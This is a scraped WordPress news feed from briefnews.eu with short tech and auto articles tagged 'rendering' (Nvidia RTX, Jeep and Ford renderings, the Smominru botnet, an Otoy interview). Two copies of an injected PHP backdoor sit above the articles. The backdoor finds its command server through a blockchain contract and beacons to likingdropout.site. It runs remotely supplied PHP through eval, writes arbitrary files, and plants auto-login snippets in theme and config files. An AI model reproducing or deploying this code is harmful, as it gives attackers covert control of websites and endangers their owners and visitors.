// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); rendering – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 28 Aug 2018 03:09:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png rendering – Brief News https://briefnews.eu 32 32 Nvidia’s RTX cards could create a breakthrough for eye-tracked rendering https://briefnews.eu/nvidias-rtx-cards-could-create-a-breakthrough-for-eye-tracked-rendering/ https://briefnews.eu/nvidias-rtx-cards-could-create-a-breakthrough-for-eye-tracked-rendering/#respond Tue, 28 Aug 2018 03:09:47 +0000 http://briefnews.eu/nvidias-rtx-cards-could-create-a-breakthrough-for-eye-tracked-rendering/


During the presentation of its GeForce RTX 2080 graphics cards last week, Nvidia spent most of its time on ray tracing. This is the high-end light modeling tech that could bring a new level of realism to games. But these new cards can do more than just ray tracing. One of the other potential standout features is variable-rate shading, which is a po…Read More

]]>
https://briefnews.eu/nvidias-rtx-cards-could-create-a-breakthrough-for-eye-tracked-rendering/feed/ 0
Sunday Drive: Rendering the future at Jeep and Ford https://briefnews.eu/sunday-drive-rendering-the-future-at-jeep-and-ford/ https://briefnews.eu/sunday-drive-rendering-the-future-at-jeep-and-ford/#respond Sun, 08 Apr 2018 16:31:42 +0000 http://briefnews.eu/sunday-drive-rendering-the-future-at-jeep-and-ford/ Last week brought us quite a wide variety of automotive news nuggets, and judging by the response of our own readership, the Jeep Wrangler pickup truck led the way. It’s not expected to hit the sales floor until April of 2019, which means we’ve all got an entire year to wait, but that just means we have lots of time to anticipate its arrival. And we do so today with a series of renderings that show what the so-called Scrambler may look like in a few different colors.

Another set of renderings depicting a hotly anticipated new vehicle follow just behind. The Baby Bronco – will Ford ante up to the retro-inspired table and call it the Bronco II? – will be one size smaller than the regular-grade Bronco, and we think it’ll compete with the Jeep Renegade as a subcompact crossover with some real off-road chops.

Moving onto some tuners, both old and new(er), we first present a sweet old Dodge Ram pickup truck tuned by none other than Carroll Shelby himself. The blue and silver striped truck looks so period perfect that it stands out as a star even alongside a quartet of vintage Shelby Mustangs with which it will share space at the Bonhams auction in Greenwich, Conn., this June. And finally we turn our attention to the Hennessey Veliciraptor, an absolute behemoth of a truck. Based on the most excellent Ford Raptor, the Velociraptor ups the crazy quotient with six wheels and 600 hundred horsepower.

As always, stay tuned to Autoblog this week for all the latest automotive news.

Jeep Scrambler rendering Jeep Wrangler pickup renderings: Latest imaginings of the Scrambler

Ford Baby Bronco rendering Ford Baby Bronco comes alive in these exclusive renderings

Carroll Shelby Dodge Ram Bonhams to auction Carroll Shelby’s prototypes and personal cars

Hennessey Velociraptor Hennessey VelociRaptor 6X6 First Drive Review: The incredible hulk

Let’s block ads! (Why?)

]]>
https://briefnews.eu/sunday-drive-rendering-the-future-at-jeep-and-ford/feed/ 0
Cryptocurrency botnets are rendering some companies unable to operate https://briefnews.eu/cryptocurrency-botnets-are-rendering-some-companies-unable-to-operate/ https://briefnews.eu/cryptocurrency-botnets-are-rendering-some-companies-unable-to-operate/#respond Sun, 04 Feb 2018 08:03:52 +0000 http://briefnews.eu/cryptocurrency-botnets-are-rendering-some-companies-unable-to-operate/

We’re imagining botnets in 2018 aren’t greatly impacting vintage OS systems, but many modern computers aren’t performing their best post-Smominru. (credit: Apple)

A massive cryptocurrency mining botnet has generated as much as $ 3.6 million dollars’ worth of the digital coin known as Monero since last May, a researcher said Wednesday. The windfall isn’t the only noteworthy thing about the botnet. Dubbed Smominru, it’s also significant for the 526,000 computers it has infected and for the ability of its operators to withstand takedown attempts by whitehats.

“As Bitcoin has become prohibitively resource-intensive to mine outside of dedicated mining farms, interest in Monero has increased dramatically,” a researcher, who uses the pseudonym Kafeine, wrote in a blog post published by security firm Proofpoint. “While Monero can no longer be mined effectively on desktop computers, a distributed botnet like that described here can prove quite lucrative for its operators.”

Like cryptocurrency mining botnets known as Adylkuzz and Zealot, Smominru appropriates potent exploit code developed by the National Security Agency and later published online by a group calling itself the Shadow Brokers.

Read 5 remaining paragraphs | Comments

]]>
https://briefnews.eu/cryptocurrency-botnets-are-rendering-some-companies-unable-to-operate/feed/ 0
Otoy’s Jules Urbach believes the blockchain can produce a crowdsourced rendering engine https://briefnews.eu/otoys-jules-urbach-believes-the-blockchain-can-produce-a-crowdsourced-rendering-engine/ https://briefnews.eu/otoys-jules-urbach-believes-the-blockchain-can-produce-a-crowdsourced-rendering-engine/#respond Sat, 30 Sep 2017 16:02:42 +0000 http://briefnews.eu/otoys-jules-urbach-believes-the-blockchain-can-produce-a-crowdsourced-rendering-engine/


Once upon a time, you had to submit a program to the computer department. They would run it, and send the results back to you in the form of a printout. That worked well in the days when there was one big computing resource that everybody had to share.

In a way, Jules Urbach, CEO of Otoy (maker of the Octane graphics renderer), believes those days could come back, except the computer we are sharing is all of the computers on the Internet. He applies that computer history to the idea of cloud rendering. Rendering images or games is what happens when you submit your graphics or animation project, and the big computer, in this case a data center, goes to work on it. If you’re like Pixar, you might wait a whole day for your next animated movie scene to come back as a full rendering. Pixar can afford to pay for that, but smaller game makers and animators can’t.

That’s where blockchain comes in, and it’s why Urbach is starting an Initial Coin Offering for what he calls a Render Token. It’s a blockchain-based currency that people can invest in, as it represents a distributed graphics processing unit (GPU) rendering network. Everyone with a computer can contribute the spare cycles to a collective rendering machine, when their computers aren’t being used. Artists can submit their work to be rendered, and then they’ll get their job done.

The Render Token ICO kicks off on October 5. And if it works, then it will be like a brave new world, where people contribute their spare compute cycles to the cause and earn something from it. I talked to Urbach about this big idea.

Here’s an edited transcript of our interview.

VentureBeat: Do you want to talk about why you’re going the ICO route, and explain what Render is as part of that?

Jules Urbach: Render is a way of solving a problem that I foresaw years ago. There’s a patent from 2009 that reflected my view. The idea behind the token sale is something that I was thinking about well before I knew anything about the state of cryptocurrency and Bitcoin and Ethereum and all these ideas that have come out of the blockchain. I had always imagined, five or 10 years down the line, that things would be getting built through Octane for rendering. The rendering power for that needed to be more than one person could provide, or even a couple. And so I came up with a few ideas and patents around getting this to run through the millions of graphics cards that were out there.

Even some of our earliest work for Autodesk was built around peer to peer streaming and sharing, not just the cloud-based stuff. It was through our work through Autodesk that I got a really big break. We and Autodesk triangulated, in 2013, the G2s in the cloud. It was right before than that I went up on stage with Jen-Hsun Huang at the Nvidia conference and showed Octane running on hundreds of graphics cards, knowing that Amazon would have that available within months. We launched the cloud service with that in mind. Amazon was part of making cloud rendering as we have it now in Octane, leveraging the rendering for making some crazier things like lightfields possible. If you look at our current partnerships with Facebook, what we’re doing with video is still all basically Octane-rendered. With Unity we’re integrated primarily to drive our AR and lightfield and volumetric rendering business.

All those things are pushing what you need for Amazon to deliver through the roof. We have render jobs that are lightfield-based that cost $ 150,000. They could be cheaper, and they could be done on what’s on the public cloud. We’ve seen, over the last four years, the price of that not really change a lot. Our user base is in the millions now with Unity. I went back to the idea of—we’re going to keep all the GPUs we already have in our service, but we need a lot more. It needs to be cheaper. The best way to do that goes back to my plan to have millions of graphics cards contributing to that.

Above: Jules Urbach, CEO of Otoy.

Image Credit: Otoy

VB: When I talked to [Epic Games CEO] Tim Sweeney, he was talking about blockchain as well. He mentioned that, eventually, it’s something we want to render at 60 frames per second. Right now it’s updated about once every 10 minutes. That seems like an awfully big distance to go. How far away from that goal are we, technically? Is there something that helps close that gap to the point where this kind of rendering is useful?

Urbach: Tim is right about the 60 frames per second. Ultimately you want to be able to deliver those actions instantaneously. There’s work being done with Ethereum which is designed to basically create shards. They’re basically shifting Ethereum to having multiple side chains that can validate work much faster. That’s an important consideration for the future.

But what’s interesting for us is that I don’t need any of that for the stuff we’re doing. The first reason why is that if you look at this work as an extension — there’s a lot of work that Amazon and Google computers and GPUs are doing, not just for rendering, but for other things. If you can come up with a way to deliver more and cheaper compute power for the services you do through the central—the most expensive things we do at Amazon are not real time streams. They can be, but that’s a small percentage of our business. You remember what we demonstrated in 2013, and we use it for Oculus and Facebook and others, but the majority of the money and the majority of our capacity issues are all about high latency jobs.

In other words, people want a light field render within a few days. It would take them months to render it locally, if it’s even possible. You just need the work to get done. In the case of light-mapping images, which is used in making games with Unity and Unreal, that’s also offline. Typically a lightmap in a game takes about a day to generate before you publish it. Moving that to the cloud, again—nobody needs this in an instant. The way we built this system is to replace the one-day turnaround we have with something augmented. If you want next-day service and you’re doing 6K of rendering work, that’s where we need to talk further. That’s the big issue that I’m trying to unblock here.

Having transactions happen where we unlock 60 hours of rendering from one transaction, that’s fine. That’s a great way of leveraging the blockchain. That’s exactly what we need. What’s also interesting is that ultimately, a lot of blockchain issues — transactions happening at 60 cycles per second, that’s not what we’re trying to do. I’m looking at this as I’m building blocks of reality. We’re literally rendering a simulation of light. We’re at the point where we’re able to measure the benchmark for that so well — today, render farms, whether they’re rendering or not, they measure their efficiency and the value of what they’re delivering in Octane bench per dollars.

